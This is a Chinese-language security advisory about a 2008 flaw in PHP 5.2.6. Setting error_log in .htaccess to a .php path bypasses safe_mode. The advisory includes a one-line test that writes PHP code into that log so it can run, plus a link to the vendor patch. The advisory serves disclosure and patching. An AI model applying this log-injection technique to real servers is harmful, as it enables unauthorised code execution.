安全研究

安全漏洞
PHP error_log绕过安全模式限制漏洞

发布日期:2008-11-20
更新日期:2008-11-21

受影响系统:
PHP PHP 5.2.6
描述:
BUGTRAQ  ID: 32383

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

在以全局模式使用safe_mode时:

php.ini­:
safe_mode = On

并通过php_admin_flag声明:

<Directory "/www">
...
    php_admin_flag safe_mode On
</Directory>

当在/www/中创建一些php脚本并试图调用:

ini_set("error_log", "/hack/");

或在/www/.htaccess中

php_value error_log "/hack/bleh.php"

结果是:

Warning: Unknown: SAFE MODE Restriction in effect. The script whose uid is 80 is not \
allowed to access /hack/ owned by uid 1001 in Unknown on line 0

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script \
whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php \
on line 4

这是由于php.ini中声明了safe_mode。但如果在httpd.conf使用:

php_admin_flag safe_mode On

就仅会得到:

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script \
whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php \
on line 4

.htaccess中允许php_value error_log "/hack/blehx.php"句法,导致绕过safe_mode的限制。

<*来源:Maksymilian Arciemowicz (max@jestsuper.pl
  
  链接:http://marc.info/?l=bugtraq&m=122720980532226&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

error_log("<?php phpinfo(); ?>", 0);

建议:
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://cvs.php.net/viewvc.cgi/php-src/NEWS?revision=1.2027.2.547.2.1315&view=markup

浏览次数:2891
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障